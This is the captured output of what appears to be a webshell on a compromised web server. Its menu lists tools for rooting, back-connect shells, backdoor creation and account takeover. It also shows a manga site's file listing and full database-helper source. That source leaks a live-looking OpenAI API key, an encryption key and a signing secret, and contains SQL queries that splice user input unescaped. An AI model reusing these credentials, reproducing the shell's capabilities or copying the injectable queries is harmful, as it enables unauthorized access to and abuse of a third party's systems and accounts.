Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.50
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangaberri /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
ads
[ DIR ]
drwxrwxrwx
apk
[ DIR ]
drwxrwxr-x
banner
[ DIR ]
drwxrwxr-x
games
[ DIR ]
drwxrwxr-x
mangabo
[ DIR ]
drwxrwxrwx
mangacherri
[ DIR ]
drwxrwxrwx
mangas
[ DIR ]
drwxrwxrwx
orion_master
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
28850a2269.php
6.42
KB
-rwxrwxrwx
28d1fafc7693bb89675f.txt
20
B
-rwxrwxrwx
404.php
5.27
KB
-rwxrwxrwx
OS_1.png
431.44
KB
-rwxrwxrwx
OS_2.png
234.1
KB
-rwxrwxrwx
actions.php
4.74
KB
-rwxrwxrwx
ads.php
1.99
KB
-rwxrwxrwx
ads.txt
175.73
KB
-rwxrwxrwx
android_1.png
201.87
KB
-rwxrwxrwx
android_2.png
218.54
KB
-rwxrwxrwx
api.php
2.67
KB
-rwxrwxrwx
berribo.zip
5.53
MB
-rwxrwxrwx
berripix_waifu.jpg
124.61
KB
-rw-rw-r--
boom.php
15.16
KB
-rw-rw-r--
config.php
3.95
KB
-rwxrwxrwx
country.php
452
B
-rwxrwxrwx
dashboard.php
1.04
KB
-rw-rw-r--
datasource.php
3.09
KB
-rw-r--r--
dbhelper.php
36.86
KB
-rwxrwxrwx
dbhelper_ori.php
27.79
KB
-rwxrwxrwx
default.php
16.17
KB
-rwxrwxrwx
discord_callback.php
1.61
KB
-rw-rw-r--
dl_ads.php
125
B
-rw-rw-r--
dl_ads2.php
51
B
-rw-rw-r--
dmca.php
8.79
KB
-rwxrwxrwx
favicon.ico
67.58
KB
-rwxrwxrwx
favicon.png
31.21
KB
-rwxrwxrwx
favorites.php
90.07
KB
-rwxrwxrwx
festive.php
29
B
-rw-rw-r--
fireworks.php
15.13
KB
-rwxrwxrwx
footer.php
7.97
KB
-rwxrwxrwx
forgot-password.php
6.71
KB
-rwxrwxrwx
genre.php
16.49
KB
-rwxrwxrwx
head.php
876
B
-rwxrwxrwx
head2.php
373
B
-rwxrwxrwx
header.php
16.5
KB
-rwxrwxrwx
history.php
6.74
KB
-rwxrwxrwx
home.php
45.16
KB
-rwxrwxrwx
ht_ads1.php
3.41
KB
-rw-rw-r--
ht_ads2.php
545
B
-rw-rw-r--
ht_ads3.php
87.73
KB
-rwxrwxrwx
icon.ico
148.56
KB
-rwxrwxrwx
icon_snow.png
3.29
KB
-rwxrwxrwx
index.php
22.75
KB
-rwxrwxrwx
install_webapp.php
6.62
KB
-rwxrwxrwx
log.txt
1.57
MB
-rwxrwxrwx
login.php
630
B
-rw-rw-r--
logo.png
43.75
KB
-rwxrwxrwx
logo_dark.7c81824.png
70.25
KB
-rwxrwxrwx
logo_light.d9991b5.png
70.25
KB
-rwxrwxrwx
logo_light.d9991b5_christmas.p...
89.69
KB
-rw-rw-r--
logo_white.f5e6e19.png
70.25
KB
-rwxrwxrwx
logout.php
84
B
-rw-rw-r--
manga_og.jpg
173.55
KB
-rwxrwxrwx
mangaberri.zip
14.68
MB
-rwxrwxrwx
mangaberri_banner.png
196.52
KB
-rwxrwxrwx
mangaberri_vid.mp4
6.99
MB
-rwxrwxrwx
mangabg.png
434.81
KB
-rwxrwxrwx
mangacreator.zip
11.61
MB
-rwxrwxrwx
manifest.json
432
B
-rwxrwxrwx
most-viewed.php
9.95
KB
-rwxrwxrwx
new-manga.php
15.05
KB
-rwxrwxrwx
new.php
0
B
-rw-rw-r--
privacy-policy.php
13.91
KB
-rwxrwxrwx
protected.php
668
B
-rwxrwxrwx
pubfuture_script.php
206
B
-rw-rw-r--
read-manga.php
54.51
KB
-rwxrwxrwx
reading.php
33.85
KB
-rwxrwxrwx
register.php
7.63
KB
-rwxrwxrwx
robots.txt
81
B
-rwxrwxrwx
romance.jpg
84.7
KB
-rwxrwxrwx
script.php
1.71
KB
-rwxrwxrwx
search.php
15.7
KB
-rwxrwxrwx
seo.php
1.19
KB
-rwxrwxrwx
sign-in.php
7.04
KB
-rwxrwxrwx
simage.php
1.29
KB
-rwxrwxrwx
sitemap-chapters-1.xml
1.32
MB
-rwxrwxrwx
sitemap-chapters-2.xml
369.04
KB
-rwxrwxrwx
sitemap-genre.xml
5.34
KB
-rw-rw-r--
sitemap-manga.xml
31.44
KB
-rw-rw-r--
sitemap-static.xml
1.56
KB
-rw-rw-r--
sitemap_index.xml
868
B
-rw-rw-r--
sitemap_org.xml
1.3
MB
-rwxrwxrwx
snow.php
4.58
KB
-rw-rw-r--
snowflake.php
32
B
-rwxrwxrwx
style_css.php
97.74
KB
-rwxrwxrwx
terms-of-service.php
25.16
KB
-rwxrwxrwx
test.php
19
B
-rwxrwxrwx
uknown_user.e5ec11a.png
1.25
KB
-rwxrwxrwx
weekly-manga.php
15.04
KB
-rwxrwxrwx
wimage.php
1.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dbhelper.php
<?php date_default_timezone_set("Asia/Kuching"); class DBHelper { private $db; function __construct() { require_once(__DIR__ . "/datasource.php"); $this->db = new DataSource(); } public function getEncryptionKey() { //return 'YourSecretKey'; return '11mangaberri.com'; } function generateSignedUrl($filePath) { $secretKey = 'berri'; $expiry = time() + 300; // valid for 5 minutes $signature = hash_hmac('sha256', "$filePath$expiry", $secretKey); return "/protected.php?file=" . urlencode($filePath) . "&expiry=$expiry&signature=$signature"; } public function log($message) { $myfile = fopen("./log.txt", "a") or die("Unable to open file!"); $txt = $message . "\n"; fwrite($myfile, $txt); fclose($myfile); } function getUserById($user_id) { $result = $this->db->select("SELECT * FROM users WHERE id=:id", ['id' => $user_id]); return $result; } function getUsersCount() { $result = $this->db->select("SELECT * FROM users"); return sizeof($result); } function getClientIP() { $clientIP = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER["HTTP_CF_CONNECTING_IP"] # when behind cloudflare ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; return $clientIP; } public function processLogin($username, $password) { $query = "select * FROM users WHERE username = :username AND active=1"; $params = ['username' => $username]; $user = $this->db->select($query, $params); if (!empty($user)) { if (!isset($_SESSION)) { session_start(); } if ($user && password_verify($password, $user[0]['password'])) { $_SESSION["userId"] = $user[0]["id"]; $_SESSION["username"] = $user[0]["username"]; $_SESSION["role"] = $user[0]["role"]; return true; } else { $_SESSION["errorMessage"] = 'Invalid User'; return false; } } else { $_SESSION["errorMessage"] = 'Not Active User'; return false; } } public function addUserActionLog($user_id, $action, $ref_table, $ref_id) { $query = "INSERT INTO user_action_logs (user_id, action, ip, ref_table, ref_id, created) VALUE (:user_id, :action, :ip, :ref_table, :ref_id, :created)"; $params = [ 'user_id' => $user_id, 'action' => $action, 'ip' => $this->getClientIP(), 'ref_table' => $ref_table, 'ref_id' => $ref_id, 'created' => date("Y-m-d H:i:s") ]; $this->db->execute($query, $params); } public function signUp($username, $password) { $passwordHash = password_hash($password, PASSWORD_DEFAULT); $query = "INSERT INTO users (username, password, role, created, modified) VALUE (:username, :password, :role, :created, :modified)"; $params = ['username' => $username, 'password' => $passwordHash, 'role' => 'Super Admin', 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s")]; $user = $this->db->execute($query, $params); if (!empty($user)) { return true; } else { return false; } } public function createManga($title, $author, $description, $genres, $attachment) { $path = ''; $ext = ''; if (!empty($attachment)) { $this->log('Have Attachment'); $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'main-' . uniqid() . uniqid() . '.' . $ext; $image_root = '/home/mysenter/public_html/mangapiece.mys-enterprise.com'; $folder_name = 'mangas'; $path = $image_root . '/' . $folder_name . '/' . $filename; $upload_dir = $image_root . '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "INSERT INTO mangas (title, author, description, display_image, genres, created, modified) VALUES (:title, :author, :description, :display_image, :genres, :created, :modified)"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangapiece.com/' . $folder_name . '/' . $filename, 'genres' => $genres, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $this->log('No Attachement'); $query = "INSERT INTO mangas (title, author, description, display_image, genres, created, modified) VALUES (:title, :author, :description, :display_image, :genres, :created, :modified)"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => null, 'genres' => $genres, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; $this->log(json_encode($params)); try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } public function updateManga($manga_id, $title, $author, $description, $genres, $rating, $attachment) { $path = ''; $ext = ''; if (!empty($attachment['name'])) { $this->log('Have Attachment'); $path = ''; $ext = ''; $filename = $attachment["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $tempname = $attachment["tmp_name"]; $filename = 'main-' . uniqid() . uniqid() . '.' . $ext; $image_root = '/home/mysenter/public_html/mangapiece.mys-enterprise.com'; $folder_name = 'mangas'; $path = $image_root . '/' . $folder_name . '/' . $filename; $upload_dir = $image_root . '/' . $folder_name . '/'; if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $msg = "Image uploaded successfully"; $query = "UPDATE mangas SET title=:title, author=:author, description=:description, display_image=:display_image, genres=:genres, rating=:rating, modified=:modified where id = :id"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'display_image' => 'https://mangapiece.com/' . $folder_name . '/' . $filename, 'genres' => $genres, 'rating' => $rating, 'modified' => date("Y-m-d H:i:s"), 'id' => $manga_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } else { $msg = "Not uploaded because of error #" . $_FILES["file"]["error"]; $this->db->log($msg); return false; } } $msg = "Not writeable folder"; $this->db->log($msg); return false; } else { $query = "UPDATE mangas SET title=:title, author=:author, description=:description, genres=:genres, rating=:rating, modified=:modified where id = :id"; $params = [ 'title' => $title, 'author' => $author, 'description' => $description, 'genres' => $genres, 'rating' => $rating, 'modified' => date("Y-m-d H:i:s"), 'id' => $manga_id ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } function uploadToMangaPiece($transfer_type, $files) { $url = 'https://mangapiece.com/mangabo/transfer_image.php?rnd=' . time(); $curl = curl_init(); $params = (object)array(); $params->transfer_type = $transfer_type; $this->db->log('Attachment TMP : ' . $files['tmp_name']); if (function_exists('curl_file_create')) { $params->attachment = curl_file_create($files['tmp_name'], $files['type'], $files['name']); } else { $params->attachment = '@' . $files['tmp_name']; } curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $params )); $this->db->log('Params : ' . json_encode($params)); $response = curl_exec($curl); $this->db->log('Reponse : ' . json_encode($response)); curl_close($curl); return $response; } function getAllMangas() { //$query = "SELECT m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM `mangas` as m"; //$query = "select k.* from (select m.*, count(r.id) as total_rating, (sum(r.rating) / count(r.id)) as average_rating, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM ratings as r join mangas as m on (m.id = r.manga_id) group by r.manga_id) as k ORDER BY `k`.`average_rating` DESC limit 10"; $query = "select k.* from (select m.*, count(r.id) as total_rating, (sum(r.rating) / count(r.id)) as average_rating, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM ratings as r join mangas as m on (m.id = r.manga_id) group by r.manga_id) as k ORDER BY (k.id * FLOOR(1 + RAND() * 100000)) % 100000 DESC limit 10"; return $this->db->select($query); } function getManga($id) { $query = "select m.*, sum(c.view) as chapter_view from mangas as m join chapters as c on (c.manga_id = m.id) where m.id = :id and m.active = 1"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getMangaByTitle($title) { $query = "select m.*, sum(c.view) as chapter_view from mangas as m join chapters as c on (c.manga_id = m.id) where m.active = 1 AND REGEXP_REPLACE(REPLACE(LOWER(m.title), ' ', '-'), '[^a-z0-9-]', '') = :title"; $params = ['title' => $title]; return $this->db->select($query, $params); } function getMangaChapters($id) { $query = "select * FROM chapters where manga_id = :id order by display_priority ASC, id desc"; $params = ['id' => $id]; return $this->db->select($query, $params); } function addMangaChapter($manga_id, $chapter_name, $attachments) { $query = "INSERT INTO chapters (manga_id, name, created, modified) VALUES (:manga_id, :name, :created, :modified)"; $params = [ 'manga_id' => $manga_id, 'name' => $chapter_name, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $chapter_id = $this->db->executeReturnID($query, $params); $total = count($attachments['name']); for ($i = 0; $i < $total; $i++) { $tmpFilePath = $attachments['tmp_name'][$i]; $filename = $attachments['name'][$i]; $this->addMangaChapterImage($manga_id, $chapter_id, $filename, $tmpFilePath); } return true; } catch (Exception $e) { $this->db->log($e); } } function updateMangaImages($chapter_id, $chapter_name, $attachments) { $query = "UPDATE chapters SET name=:name, modified=:modified where id=:id"; $params = [ 'id' => $chapter_id, 'name' => $chapter_name, 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); $total = count($attachments['name']); for ($i = 0; $i < $total; $i++) { $tmpFilePath = $attachments['tmp_name'][$i]; $filename = $attachments['name'][$i]; $this->addMangaChapterImage($result[0]['manga_id'], $chapter_id, $filename, $tmpFilePath); } return true; } catch (Exception $e) { $this->db->log($e); return false; } } function addMangaChapterImage($manga_id, $chapter_id, $filename, $tempname) { $ext = pathinfo($filename, PATHINFO_EXTENSION); //$filename = 'chap-' . uniqid() . uniqid() . '.' . $ext; $image_root = '/home/mysenter/public_html/mangapiece.mys-enterprise.com'; $folder_name = 'mangas/' . $manga_id . '/' . $chapter_id; $path = $image_root . '/' . $folder_name . '/' . $filename; $upload_dir = $image_root . '/' . $folder_name . '/'; if (!file_exists($upload_dir)) { mkdir($upload_dir, 0777, true); } if (file_exists($upload_dir) && is_writable($upload_dir)) { if (move_uploaded_file($tempname, $path)) { $query = "INSERT INTO chapter_images (chapter_id, path, filename, created, modified) VALUES (:chapter_id, :path, :filename, :created, :modified)"; $params = [ 'chapter_id' => $chapter_id, 'path' => 'https://mangapiece.com/' . $folder_name . '/' . $filename, 'filename' => $filename, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } } } function getMangaInfoByChapterId($id) { $query = "select m.* FROM chapters as c join mangas as m on (m.id = c.manga_id) where c.id = :id and m.active = 1"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getChapterInfo($id) { $query = "select * FROM chapters where id = :id"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getMangaChapterImages($id) { $this->updateMangaChapterView($id); $this->updateMangaChapterViewLog($id); $query = "select * FROM chapter_images where chapter_id = :id"; $params = ['id' => $id]; return $this->db->select($query, $params); } function updateMangaChapterView($id) { $query = "Update chapters set view=view+1 where id = :id"; $params = ['id' => $id]; return $this->db->execute($query, $params); } function updateMangaChapterViewLog($id) { $chapter = $this->getChapterInfo($id)[0]; $manga = $this->getMangaInfoByChapterId($id)[0]; $query = "INSERT INTO chapter_views (manga_id, chapter_id, ip, source, created, modified) VALUES (:manga_id, :chapter_id, :ip, :source, :created, :modified)"; $params = [ 'manga_id' => $manga['id'], 'chapter_id' => $id, 'ip' => $this->getClientIP(), 'source' => 'mangaberri.com', 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { return $this->db->execute($query, $params); } catch (Exception $e) { $this->db->log($e); } } function deleteChapterImage($id) { $query = "DELETE FROM chapter_images where id = :id"; $params = ['id' => $id]; return $this->db->execute($query, $params); } function deleteChapter($id) { $query = "DELETE FROM chapters where id = :id"; $params = ['id' => $id]; return $this->db->execute($query, $params); } function deleteManga($id) { $query = "DELETE FROM mangas where id = :id"; $params = ['id' => $id]; return $this->db->execute($query, $params); } function getGenres() { $query = "select * FROM genres where active = 1 order by name"; return $this->db->select($query); } function getActiveGenres() { $query = "select * from ( SELECT g.name, ( SELECT COUNT(m.id) FROM mangas AS m WHERE m.genres LIKE CONCAT('%', g.name, '%') and m.active = 1 ) AS total FROM genres AS g) as k where k.total > 0 order by name"; return $this->db->select($query); } function getGenreMangas($keyword) { $query = "select k.* from (select m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM mangas as m where genres like :keyword and m.active=1) as k where latest_chapter_id > 0"; return $this->db->select($query, ['keyword' => '%' . $keyword . '%']); } function getKeywordMangas($keyword) { $keyword = $this->sanitizeSearch($keyword); if (!empty($keyword)) { $this->addKeyword($keyword); $query = "select k.* from (select m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM mangas as m where m.title like :keyword) as k where latest_chapter_id > 0"; return $this->db->select($query, ['keyword' => '%' . $keyword . '%']); } return []; } function sanitizeSearch($input, $maxLength = 100) { // Force string & trim $search = trim((string)$input); // Remove control chars (ASCII < 32, DEL) $search = preg_replace('/[\x00-\x1F\x7F]/u', '', $search); // Strip HTML tags $search = strip_tags($search); // Block / remove the special ad placeholder {search_term_string} if (stripos($search, '{search_term_string}') !== false) { $search = str_ireplace('{search_term_string}', '', $search); } // Remove curly braces completely (blocks any { ... } tokens) $search = str_replace(['{', '}'], '', $search); // Optionally: allow only a safe character set // Letters, numbers, spaces, and common punctuation $search = preg_replace('/[^a-zA-Z0-9\s\-\_\.\,\!\?\@\#\&\(\)\/]/u', '', $search); // Collapse multiple spaces to single $search = preg_replace('/\s+/u', ' ', $search); // Trim again after cleaning $search = trim($search); // Limit length if ($maxLength > 0 && mb_strlen($search, 'UTF-8') > $maxLength) { $search = mb_substr($search, 0, $maxLength, 'UTF-8'); } return $search; } function addKeyword($keyword) { $query = "INSERT INTO search_keywords (keyword, ip, created) VALUES (:keyword, :ip, :created)"; $params = [ 'keyword' => $keyword, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } function addGenre($name) { $query = "INSERT INTO genres (name, created, modified) VALUES (:name, :created, :modified)"; $params = [ 'name' => $name, 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { $result = $this->db->execute($query, $params); return $result; } catch (Exception $e) { $this->db->log($e); } } function deleteGenre($id) { $query = "DELETE FROM genres where id = :id"; $params = ['id' => $id]; return $this->db->execute($query, $params); } function getLatestUpdateChapter() { $query = "select max(c.id) as chapter_id, m.* from chapters as c join mangas as m on (m.id = c.manga_id) where m.active = 1 group by m.id order by chapter_id desc limit 50"; return $this->db->select($query); } function getLatestChapter($id) { $query = "select * FROM chapters where manga_id = :id order by created desc limit 1;"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getRelatedMangas($id) { $target = $this->getManga($id)[0]; $genres = explode(", ", $target['genres']); $filter = ''; $counter = 0; if (sizeof($genres) > 0) { $filter = "AND ("; foreach ($genres as $g) { if ($counter == 0) { $filter .= "genres like '%" . $g . "%'"; } else { $filter .= " OR genres like '%" . $g . "%'"; } $counter += 1; } $filter .= ")"; } $query = "select m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM mangas as m where m.id !=:id and m.active = 1 " . $filter . " ORDER BY RAND() limit 10"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getMangaComments($id) { $query = "select * FROM comments where manga_id = :id and parent_id is null order by created desc;"; $params = ['id' => $id]; return $this->db->select($query, $params); } public function getAdminComments($parent_id) { $query = "select * FROM comments where parent_id = :parent_id"; $params = ['parent_id' => $parent_id]; return $this->db->select($query, $params); } function containsWebLink($string) { // Regular expression to match URLs //$regex = '/\bhttps?:\/\/[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|\/))/'; $regex = '/\b(?:https?:\/\/)?(?:www\.)?[a-zA-Z0-9.-]+\.(?:com|org|net|edu|vip|gov|io|co|info|biz|uk|au|in|cn|[a-z]{2,})(?:\/[^\s]*)?\b/'; if (preg_match($regex, $string)) { return true; // The string contains a web link } return false; // No web link found } function addMangaComments($manga_id, $comment) { $query = "INSERT INTO comments (manga_id, comment, ip, name, created, modified) VALUES (:manga_id, :comment, :ip, :name, :created, :modified)"; $params = [ 'manga_id' => $manga_id, 'comment' => $comment, 'ip' => $this->getClientIP(), 'name' => uniqid(), 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { return $this->db->select($query, $params); } catch (Exception $e) { $this->db->log($e); } } function allowGiveRating($manga_id) { $query = "select * from ratings where manga_id=:manga_id and ip=:ip"; $params = ['manga_id' => $manga_id, 'ip' => $this->getClientIP()]; $result = $this->db->select($query, $params); if (sizeof($result) > 0) { return false; } else { return true; } } function addMangaRating($manga_id, $rating) { if ($this->allowGiveRating($manga_id)) { $query = "INSERT INTO ratings (manga_id, rating, ip, created, modified) VALUES (:manga_id, :rating, :ip, :created, :modified)"; $params = [ 'manga_id' => $manga_id, 'rating' => $rating, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { return $this->db->select($query, $params); } catch (Exception $e) { $this->db->log($e); } } } function getMangaRatings($id) { $query = "select count(id) as total_rating, (sum(rating) / count(id)) as average_rating FROM ratings where manga_id = :id order by created desc;"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getAllTimeMangaViewRanking() { //$query = "SELECT sum(view) as total_view, m.* FROM chapters as c join mangas as m on (m.id = c.manga_id) where m.active = 1 group by manga_id ORDER BY sum(view) DESC"; $query = "SELECT stats.total_view, stats.latest_chapter_id, latest_chapter.name AS latest_chapter, m.* FROM ( SELECT c.manga_id, SUM(c.view) AS total_view, MAX(c.id) AS latest_chapter_id FROM chapters AS c GROUP BY c.manga_id ) AS stats JOIN chapters AS latest_chapter ON latest_chapter.id = stats.latest_chapter_id JOIN mangas AS m ON m.id = stats.manga_id WHERE m.active = 1 ORDER BY stats.total_view DESC;"; return $this->db->select($query); } function getMangaGenreMostView($id) { $target = $this->getManga($id)[0]; $genres = explode(", ", $target['genres']); $filter = ''; $counter = 0; if (sizeof($genres) > 0) { $filter = "AND ("; foreach ($genres as $g) { if ($counter == 0) { $filter .= "m.genres like '%" . $g . "%'"; } else { $filter .= " OR m.genres like '%" . $g . "%'"; } $counter += 1; } $filter .= ")"; } $query = "SELECT sum(view) as total_view, m.* FROM chapters as c join mangas as m on (m.id = c.manga_id) " . $filter . " where m.active = 1 group by manga_id ORDER BY sum(view) DESC"; return $this->db->select($query); } function getMangaGenreMostViewByTitle($title) { $target = $this->getMangaByTitle($title)[0]; $filter = ''; $genres = explode(", ", $target['genres']); $counter = 0; if (sizeof($genres) > 0) { $filter = "AND ("; foreach ($genres as $g) { if ($counter == 0) { $filter .= "m.genres like '%" . $g . "%'"; } else { $filter .= " OR m.genres like '%" . $g . "%'"; } $counter += 1; } $filter .= ")"; } $query = "SELECT sum(view) as total_view, m.* FROM chapters as c join mangas as m on (m.id = c.manga_id AND m.active = 1) " . $filter . " group by manga_id ORDER BY sum(view) DESC"; //$this->log($query); return $this->db->select($query); } function getGenreMostView($keyword) { $query = "SELECT sum(view) as total_view, m.* FROM chapters as c join mangas as m on (m.id = c.manga_id) where m.active= 1 and m.genres like '%" . $keyword . "%' group by manga_id ORDER BY sum(view) DESC"; return $this->db->select($query); } function addMangaRequest($title, $reference_link, $description) { $query = "INSERT INTO request_inboxs (title, reference_link, description, ip, created, modified) VALUES (:title, :reference_link, :description, :ip, :created, :modified)"; $params = [ 'title' => $title, 'reference_link' => $reference_link, 'description' => $description, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s"), 'modified' => date("Y-m-d H:i:s") ]; try { return $this->db->select($query, $params); } catch (Exception $e) { $this->db->log($e); } } function getLatestWeekNewManga() { $query = "SELECT sum(view) as total_view, m.*, (select name from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter, (select id from chapters where manga_id = m.id order by id desc limit 1) as latest_chapter_id FROM chapters as c join mangas as m on (m.id = c.manga_id) WHERE m.created >= DATE_SUB(CURDATE(), INTERVAL 2 MONTH) and m.active = 1 group by manga_id ORDER BY m.created desc;"; return $this->db->select($query); } function getLatestWeekHotManga() { //$query = "SELECT count(cv.id) as total_view, m.* FROM chapter_views as cv join mangas as m on (m.id = cv.manga_id) WHERE m.active = 1 AND DATE(cv.created) >= CURDATE() - INTERVAL WEEKDAY(CURDATE()) DAY AND DATE(cv.created) < CURDATE() - INTERVAL WEEKDAY(CURDATE()) - 7 DAY group by m.id order by total_view desc"; $query = " SELECT COUNT(cv.id) AS total_view, m.*, lc.id AS latest_chapter_id, lc.name AS latest_chapter FROM chapter_views AS cv JOIN mangas AS m ON m.id = cv.manga_id LEFT JOIN ( SELECT c1.* FROM chapters c1 INNER JOIN ( SELECT manga_id, MAX(id) AS max_id FROM chapters GROUP BY manga_id ) c2 ON c1.manga_id = c2.manga_id AND c1.id = c2.max_id ) AS lc ON lc.manga_id = m.id WHERE m.active = 1 AND DATE(cv.created) >= CURDATE() - INTERVAL WEEKDAY(CURDATE()) DAY AND DATE(cv.created) < CURDATE() - INTERVAL WEEKDAY(CURDATE()) - 7 DAY GROUP BY m.id ORDER BY total_view DESC;"; return $this->db->select($query); } function allowAddPolling() { $query = "select * from polls where ip=:ip"; $params = ['ip' => $this->getClientIP()]; $result = $this->db->select($query, $params); if (sizeof($result) > 0) { return false; } else { return true; } } function addPollingSelection($selection) { if ($this->allowAddPolling()) { $query = "INSERT INTO polls (selection, ip, created) VALUES (:selection, :ip, :created)"; $params = [ 'selection' => $selection, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s") ]; try { return $this->db->select($query, $params); } catch (Exception $e) { $this->db->log($e); } } } function getPollingResult() { $query = "select count(id) as total, selection FROM polls group by selection "; return $this->db->select($query); } private string $apiKey = "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"; public function check(string $text): array { $this->log("CHECK: " . $text); if (empty($this->apiKey)) { $this->log("ERROR: API key is empty."); return $this->defaultFailResult("API key empty"); } $payload = [ 'model' => 'omni-moderation-latest', 'input' => $text, ]; $ch = curl_init('https://api.openai.com/v1/moderations'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Authorization: Bearer ' . $this->apiKey, ], CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($payload), ]); $response = curl_exec($ch); if ($response === false) { $err = curl_error($ch); curl_close($ch); $this->log("cURL ERROR: " . $err); return $this->defaultFailResult("cURL failed"); } curl_close($ch); $data = json_decode($response, true); // JSON decode error if ($data === null) { $this->log("JSON ERROR: " . $response); return $this->defaultFailResult("Invalid JSON"); } // OpenAI error block if (isset($data['error'])) { $msg = $data['error']['message'] ?? 'Unknown OpenAI error'; $this->log("OPENAI ERROR: " . $msg); // Retry once if rate-limited if (stripos($msg, "Too Many Requests") !== false) { usleep(300000); // 0.3 seconds return $this->check($text); } return $this->defaultFailResult($msg); } // Missing results if (!isset($data['results'][0])) { $this->log("INVALID RESPONSE STRUCTURE: " . $response); return $this->defaultFailResult("Missing results"); } $res = $data['results'][0]; return [ 'success' => true, 'flagged' => $res['flagged'] ?? false, 'categories' => $res['categories'] ?? [], 'scores' => $res['category_scores'] ?? [], 'raw' => $data, ]; } private function defaultFailResult(string $reason): array { return [ 'success' => false, 'flagged' => false, // fail-open or fail-safe? up to you 'categories' => [], 'scores' => [], 'error' => $reason, ]; } public function getDirectlinkUrl(string $placement): string { $query = " SELECT direct_url FROM ads_scripts WHERE placement = :p AND is_active = 1 AND ad_type = 'direct' AND direct_url IS NOT NULL AND direct_url <> '' ORDER BY sort_order ASC, id DESC LIMIT 1 "; $row = 